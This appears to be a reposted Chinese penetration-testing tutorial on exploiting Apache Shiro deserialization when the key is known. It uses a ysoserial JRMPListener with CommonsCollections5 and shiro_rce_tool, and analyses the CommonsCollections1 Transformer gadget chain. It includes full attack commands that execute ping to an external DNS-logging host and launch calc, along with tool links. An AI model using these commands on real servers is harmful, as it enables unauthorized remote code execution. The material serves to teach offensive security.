当前位置: 首页 > news >正文

JAVA攻防-Shiro专题有key无利用链JRMP协议CC1链分析Transform执行链

知识点:
1、Java攻防-Shiro-有key无利用链&JRMP协议
2、Java攻防-Shiro-CC1链分析&Transform执行链

一、演示案例-Java攻防-Shiro-有key无利用链&JRMP协议

Shriokey无链:
JRMP指的是Java远程方法协议(Java Remote Method Protocol)。它是Java对象实现远程通信的基础技术,也是Java RMIRemote Method Invocation,远程方法调用)的底层通信协议。借助JRMP,运行于某个Java虚拟机(JVM)中的对象能够调用另一个JVM中对象的方法,就如同调用本地对象的方法一样便捷。

非常规链:
利用工具:https://github.com/wyzxxz/shiro_rce_tool
文章:https://mp.weixin.qq.com/s/MdCUfyaUCAa2M3P3H1NsGw

公网靶场-URLDNS链

1、ysoserial生成JRMPListener

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"ping kfxmlanpak.zaza.eu.org"


shiro_tool使用JRMPClient模式


2、java-chains项目生成JRMPListener





shiro_tool使用JRMPClient模式

本地DEMO-执行RCE



1、ysoserial生成JRMPListener

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"calc"


shiro_tool使用JRMPClient模式

2、java-chains项目生成JRMPListener




shiro_tool使用JRMPClient模式

二、演示案例-Java攻防-Shiro-CC1链分析&Transform执行链

文章参考:https://mp.weixin.qq.com/s/J_YeNkLN6KYTCVDYFh1dvQ

commons-collections Gadget chain: ObjectInputStream.readObject()AnnotationInvocationHandler.readObject())MapEntry#setValueTransformedMap#checkSetValueChainedTransformer.transform()ConstantTransformer.transform()Runtime.class InvokerTransformer.transform()getRuntime().exec("calc");Class.getMethod()Runtime.getRuntime()Runtime.exec()//跟链过程从下往上,源码全局搜索InvokerTransformer.transform()

1、寻找sink执行点

作用:执行点触发RCE执行

InvokerTransformer#transform()




本地DEMO





ChainedTransformer#transform()

ConstantTransformer#transform()

2、寻找gadget调用链

作用:调用链实现承上启下

TransformedMap#checkSetValue

现在已经知道RCE的由来,现在只需要看谁用了transform()




MapEntry#setValue







3、寻找Source入口点

作用:入口点重写方法调用

AnnotationInvocationHandler#readObject()#setValue


ObjectInputStream#readObject()

http://www.jsqmd.com/news/254882/

相关文章:

  • 如何克隆Demo代码仓库
  • 2026国内最新运动瑜伽面料品牌top10推荐!广东广州等地优质面料企业权威榜单发布,功能性与品质双优助力运动服饰升级. - 品牌推荐2026
  • 用数据说话:先知AI重塑男装企业增长曲线
  • 从需求分析到精准匹配:解码专业红娘的“择偶系统设计”逻辑
  • 2026最新MinGW64官网下载安装全攻略教程(含环境变量配置避坑,适合新手小白) - xiema
  • 开源大模型中的Agent概念解析
  • 模组日志总体介绍
  • 3.手写线程池-C语言版
  • sys系统消息
  • 高效筛选20w热点数据,从MySQL 2000w中精准提取
  • LuatOS-Air脚本移植到LuatOS版本注意事项
  • AI搜索新趋势:品牌推广如何赢得DeepSeek等智能模型的青睐?
  • 一文搞定AI排名SEO的手段:从“反向提问”来优化AI排名
  • 【1 月小记】Part 5: DP 优化 - L
  • AI搜索与消费者的未来:2026年需要关注的7个SEO领域
  • 救命神器8个AI论文写作软件,专科生毕业论文救星!
  • 从抽检到全检,AI 正在如何改变工厂质量控制体系?
  • 通信原理篇---AM\DSB\SSB\VSB
  • 教AI写漏洞代码,竟让它产生奴役人类幻想
  • 中国大学题库数据集包含24个学科领域:STEM教育数据库、理工科题库、计算机科学题库、JSON格式结构化数据、支持机器学习训练、自适应学习算法开发和智能教育系统构建
  • 中国上市公司股吧数据集(含帖子正文、回帖互动、用户画像与粉丝关系,共6万+结构化样本与统一ID可关联),支持金融舆情分析、推荐排序、社交网络挖掘与中文大模型训练的高质
  • 蓝牙学习之Provision(7)bind (1)
  • 导师推荐!专科生必看!8款AI论文平台测评与推荐
  • 蓝牙学习之Provision(6)Provison Complete
  • JD商品评论数据集:真实用户评论情感分析数据,中文自然语言处理语料,学习深度学习模型训练、文本挖掘、电商推荐系统优化、产品评价分析、客户服务改进及自然语言处理教学
  • 戴尔警告:SSD短缺下重复使用闪存存在风险
  • SK海力士开发分割单元5位闪存技术
  • 实用指南:Transformer实战(30)——Transformer注意力机制可视化
  • 柏林AI客服平台Parloa获得3.5亿美元融资打造对话式企业体验
  • 导师严选8个AI论文平台,研究生高效写作必备!